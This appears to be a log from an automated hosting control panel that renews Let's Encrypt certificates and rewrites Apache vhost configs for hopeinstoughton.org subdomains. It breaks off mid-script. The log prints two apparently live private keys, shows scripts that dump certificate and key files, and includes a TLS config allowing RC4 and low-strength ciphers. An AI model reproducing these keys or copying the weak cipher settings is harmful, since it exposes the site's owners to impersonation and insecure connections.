    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2025-08-30 06:01:56: 

PUT: /tmp/pkp558843

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:01:56: 

chmod 755 /tmp/pkp558843; /tmp/pkp558843; rm /tmp/pkp558843

2025-08-30 06:01:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5378
17:6d:f0:c2:b5:60:2b:ab:fa:4a:3a:5e:3f:2b:e6:37

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBlMD0bGmSpbdTLbqiDAfYmcdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzE3WhcNMjUxMTI4MDUwMzE2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMoEiRuf/oFXzB97sk1X7zD+jVOk36wN8ONJt0ODJhHyGQ5j
cNqVLUlroGS47XwIxkDOi/mELbfCsFHkI8DL3+m8bcTQxfbHWat9xszjt6hO54nq
IpamJ6ZhZy32PF590ac/Bxz4+KoIppux8chhiaE6/0xGiZH0SrtuBCZS4dHzhKKf
xLfK/uZHJKlo6gHfgPH2Fwb0ZZ1eRBoG2ZynEZ5sY+ilPz60+pUNBVgbjg4coOFy
FjJEDre1joqcWsAKTrC131m2U3w/tWpkQY9SAt3JqqCEbOUcD8Yl+/OTDI/AsaDQ
akN7IEIu8B2XPyn3Ws3GFRRYdkgua580vF8ISP0CAwEAAaOCAiswggInMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUq1qH4aY5ZdxyNGhVsYn5VDlHULQwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzMwLmNybDCCAQUGCisG
AQQB1nkCBAIEgfYEgfMA8QB3AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmPmRVPYAAAQDAEgwRgIhAILykXeWtjFcvjKI5jAj7SW5QbBVII2LR/6c
RfllEfp8AiEAiHoTWivl8q/ekV2kASybEZwVIeLfl/mInCpn7IsTqhsAdgDM+w9q
hXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kVUVAAAEAwBHMEUCIQCc
CTjOAAUZpk7d8cjTdUaJEr/GMLyKcR/DH9aDEVfdwQIgGeUaNHvYgRFpDLbvNPvg
Br8QfymT3yQLlgVSUteWkNEwDQYJKoZIhvcNAQELBQADggEBAKRwkD0G2gu0GoIV
hRQKCO8COF3L0mG4Sj9eMaUZnPj0ykpa34tdFTjeb4Vw8eubfLzbL3FQo9kHI+YC
3D8Ah2BkqAOvMqEoLG7SuLs0w1UhMtuwzp4HyKu99ssTHHXepL7fhZF2m91K4mcQ
ywA4+FvjEG0ks++tvMM1W7uTMtz6kcoFgPLvXWwxMYDev3tT+Xk+tEINPysMPi3s
1C7B4g0BsVe5ANG4QV/fy/45yw+VjyMNUgMf7PhAwUWiCtRUzzzDvl90QVS3sYx8
UcVu26Bf9k9mr9DrkMXLaJfv6Zjaiv620M1JE1fqQLrz3Mumhzobw4FwxQAe0YvH
kqdnLgM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKBIkbn/6BV8wf
e7JNV+8w/o1TpN+sDfDjSbdDgyYR8hkOY3DalS1Ja6BkuO18CMZAzov5hC23wrBR
5CPAy9/pvG3E0MX2x1mrfcbM47eoTueJ6iKWpiemYWct9jxefdGnPwcc+PiqCKab
sfHIYYmhOv9MRomR9Eq7bgQmUuHR84Sin8S3yv7mRySpaOoB34Dx9hcG9GWdXkQa
BtmcpxGebGPopT8+tPqVDQVYG44OHKDhchYyRA63tY6KnFrACk6wtd9ZtlN8P7Vq
ZEGPUgLdyaqghGzlHA/GJfvzkwyPwLGg0GpDeyBCLvAdlz8p91rNxhUUWHZILmuf
NLxfCEj9AgMBAAECggEANjfTaHOfRa1/ni9/ohxomLioy3sjgLTZItck9VycehKE
wQTVRATne54EFSRAsJpWQwxsKtJbxsbctY3KPrM47C1jNIBnsRy9pzYBhfnTz7sl
jzEkiVQcrh3UKFS+zQltnDphOVhkvJXHyV+PqZzr6DbCUAFaaK6s4/LZ8EMsUkFT
gZUP/3OoMhzTroUk7ZyvbjyPUcYKCrhH9ZRnbNCfYir1BLuMC2b+litpf0c7vWa6
WR6zCRDAhUFyGYEu0pSs3/0uS5BXG8adpOTLh2xcV8xNGdd2Di/a1sXafFgQ0ERt
WWHtqMXlwGSnJpJmteiJrCgT5FPcVMQC/2UhcZG+zQKBgQD6mKduWXs4bDDjzgPx
DvPwTlUb9zeVDVcjA+Hv3lXGmRP/BdaX2oze2vOL9hqwP5R+4wJBy82yyTokOBRX
6bIf0z9xtbYMw4V8IQ8OZori5PA9PNOj0VPhkujvOLIUgL4S0B9Llgx1I6cKXbIj
ArYJcOYl5sncNddDw9TgSepxBwKBgQDOX7ea1w+q6feppQzeAxEZvoLfsa5KvK0v
0VbsJEk6GNQxQD0+Gra+OeNz15B9kBX/6MskhsbLKEdZOLUYqHJcLaSP5CX2d1LD
j9Qjc6Xmdvg9okRXS3+CXCfiNplX/1Tb8nRTKmABHiz3noreHgnbRYhqxPFJYvtz
bsuuoguo2wKBgAXaqRan2nwP8vhvaKIqAkLb4ZscpFzECgQUZCPRYtmX2+K6RTAY
9++A1+2uGyOA6LwqG3RkCXMixkvwT3FaUUHzEmlaoF0d+DFVKF/iv13bkU0s7ZjH
HBmJ8A0emvJlq4sO95wxbisSYSWZ2L5+orgHviimgpK1Y0j++yseLu7jAoGBAJNu
d/lrOGsueFq+acHVSQsuOcra4ZvMzKDDmahbh+C0SirhLJ9IcFLXgjGIx1WccMsA
oNd4XV5XaRlJVL7H3+MQTGbrY19/ASZqgu/Mt7E8Pr2xRcdjTTVw5qFJxiTCaPo0
bHvZYvqJdzBzF9v0c7AtLXaxOXrm9qIRfftFErVPAoGBAOfRdk+1hZARVjfz/Ci2
pJ8Ln+E8Vlfh94DWzAVv8PwttW/JrcSb3J8leISPfqXP+IEFAjF7SdEEZhZhrkdl
770doUZ6ciqN2I6lXHtMLgx0vHeoC+LnAFstSODd7pS9P+GhWGzxSwcLX5tlERyX
pA1FcO80X+uRZ02eXP/TAmtw
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:01:56: Establishing a connection
2025-08-30 06:01:57: Establishing a connection
2025-08-30 06:01:59: 

PUT: /tmp/pkp872271

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:02:00: 

chmod 755 /tmp/pkp872271; /tmp/pkp872271; rm /tmp/pkp872271

2025-08-30 06:02:00: 


1


2025-08-30 06:02:01: Establishing a connection
2025-08-30 06:02:02: 

PUT: /tmp/pkp480614

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE


2025-08-30 06:02:03: 

chmod 755 /tmp/pkp480614; /tmp/pkp480614; rm /tmp/pkp480614

2025-08-30 06:02:03: 




2025-08-30 06:02:06: Establishing a connection
2025-08-30 06:02:08: 

PUT: /tmp/pkp417179

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE


2025-08-30 06:02:09: 

chmod 755 /tmp/pkp417179; /tmp/pkp417179; rm /tmp/pkp417179

2025-08-30 06:02:09: 




2025-08-30 06:02:09: Establishing a connection
2025-08-30 06:02:10: 

PUT: /tmp/pkp942038

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0

cat > $temp_file <<'endmsg'
d7:56:88:0c:96:33:4c:b6:a2:2a:10:da:06:14:96:89

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBo24raFNHZ1zWgsf8OXyBDd1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODMwMDUwMzM2WhcNMjUxMTI4MDUwMzM1WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOiufkw8g697KevZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL
8I+qYgaFK5v/f5IQP4H8rY5brkvR1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Go
f/Fwvp0eWVT1DI4Wt3n+4dYwXjDDc5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVx
csfgaOw+UZyR6Tn4JofiP9F/gOuEL2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OY
qBgO5v4PKckBqYUrsjFqNuCZbimujObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z
5PkEaWA8Zr/pZpMaKtkhl/Ltvb7jX8MKvzBHAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFOTD7R1kHGLQ+NGXNM7E/B+Lin3tMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE4LmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idPOoRU
AAABmPmRnQEAAAQDAEYwRAIgOq4zhLsmOPnd2UIVkFfLFS8ggUh2jq38UF6OWsjn
XFkCIAimpBy7qpUoffWhwIxIVvtLTy+XYEQo6LiGp0akr5NnAHYA3dzKNJXX4RYF
55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGY+ZGdNAAABAMARzBFAiA5tgNeeo3i
o9din6a9R1mbFedsK2HZ0GMDKzHK5PQTPAIhAOMBOYXPZEbfICeNJ85tsztoKWwV
wfYULTXrmDyTmNJwMA0GCSqGSIb3DQEBCwUAA4IBAQB9Wx9TOQZVqlmkwg2G7zdc
UnM/9SJxa+52FQyuzL2fZuzrSlNKdZ0V5vees6u92x41vZx5KHCrCdwhHzYFzhTe
bNcMfqT85QUcDzQTSzy+STW3DdlCRREgoZh28P7QkdgWU3S8fKdfK0+Xzv2q2++5
dycDq6UCQ2v7MJxhLTFYvVJp8tp6Ejj0WQnMlIjwR0yCc10zc317UFwc2bJAcgvn
yLRQqPfcOs36r2BnLdomzkAwvGxRmggla5E/BpSAUCQ6vhHX3JRVw7P3lRPZIgbe
W35fSOrzg8f+TgbnAjKTONAIoPDfM/A7rhtSrUQDtSM44MiZGsCuVG/g55OcGrFG
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOiufkw8g697Ke
vZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL8I+qYgaFK5v/f5IQP4H8rY5brkvR
1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Gof/Fwvp0eWVT1DI4Wt3n+4dYwXjDD
c5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVxcsfgaOw+UZyR6Tn4JofiP9F/gOuE
L2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OYqBgO5v4PKckBqYUrsjFqNuCZbimu
jObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z5PkEaWA8Zr/pZpMaKtkhl/Ltvb7j
X8MKvzBHAgMBAAECggEAPQudImYjRhpztqs/E100Kjh/ghdueDN9Sy+MLMCEAd5P
kj5uzeYZ8DfsyWtsPgXMe/TpTG9Xhg1r52cxng2j2ILsurlH8FwXXVeZB0gpuNqV
gXWdJZo7GCGeepvYmlzNmjU8X3MMRVtxejMsTz/qET26EAoc8IsluG1bR7LctgYT
EPoqqBRc8Rt45eGZZVPcQlvHtqhu4fcu6Sfwm0HBS1Uowf+EyDHd82kes49vgseh
9NSdfipIVtIWQQeQN+80Vj8Vu4tn92EqZu2D7FZYEvXToellzV7drXo6R/Sbil2d
gftoexDR04AdFTd0xxKRngpj+yzxJpAOab7xwi6/8QKBgQDmp65arCCBOENb+Jxm
728+epviwZH+OHWV4wHx75rgPtAiClTWY7G28g9dR5fGZt0Jq5NkbsszYdawDO7q
AcBV8vUaJYvSSezEFy7I9t64Rcgvv9itOPn4u+QKCvIy+ndUw/oRncsmRrAOAr4H
LBNjJ4E3H+bB40mQlxLEjvWgYwKBgQDlPPGKqdgrkgRj+tFRI4fJIiMUvzGLj37H
1ysKZYogF90BRdouS2MhLJtNGZ/Nno7D3LkaqUwq/6j3IucyATa1MH/SAaV8Ljz9
+WGD+zMtv6emB4TLAYCOOEmWvzGily4slFhvIVZeWqD4Eogalg4BBZ1eKOft4c+Z
MbfQm6iLzQKBgGsLYOhlv8QYp3I0g+llr3wQjO4EpcuUykVgkBOG/pqZrCBQKSVC
KUTdO/IveqmyLV0CiqnunVFgU7Fqnyps26VH1yZmTGiwtDghBi5wG9brU8eNQnLJ
4YDlOiTLBbJQ+TaWqSSp1ZES9zvZW/WaJ/k5aUd6/6313LtE0Yn1Sts/AoGBAJN/
Ows1bVnbgeeyoqvKaLwJsvjObFqX4cNDtvXhj5ZGxHTlNRVEfGwD/4kES8ZJlyJ/
CrsU42VnSph5ZLjP/xtmMVg2pvvX5Hal1xDMuIlfH8e8Xr0gIk9f+Dl+m7k5/QPC
D4SxtpjPR3NWuSwiELCnpDHJsDFncePoEZWwEiqhAoGAIFZ23zcc2hfaKMhFD2Y6
Ma+0jO3MP8DeXRcQC+VCR4fjgbpuBPhR6JGcrw+ogFlFgfDc7JjGZflCF5npMud5
DYyk15AwFaZuAXgssOhiNWVey+3SPIT/D2jto34mNXOimvOXYAyffhWHeYPBBTfE
moUDUf/jwpdqifgh+57r8JA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:02:11: 

chmod 755 /tmp/pkp942038; /tmp/pkp942038; rm /tmp/pkp942038

2025-08-30 06:02:12: 


dir=/etc/ssl/certs


2025-08-30 06:02:12: 

PUT: /tmp/pkp962443

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:02:12: 

chmod 755 /tmp/pkp962443; /tmp/pkp962443; rm /tmp/pkp962443

2025-08-30 06:02:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2025-08-30 06:02:12: 

PUT: /tmp/pkp350418

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
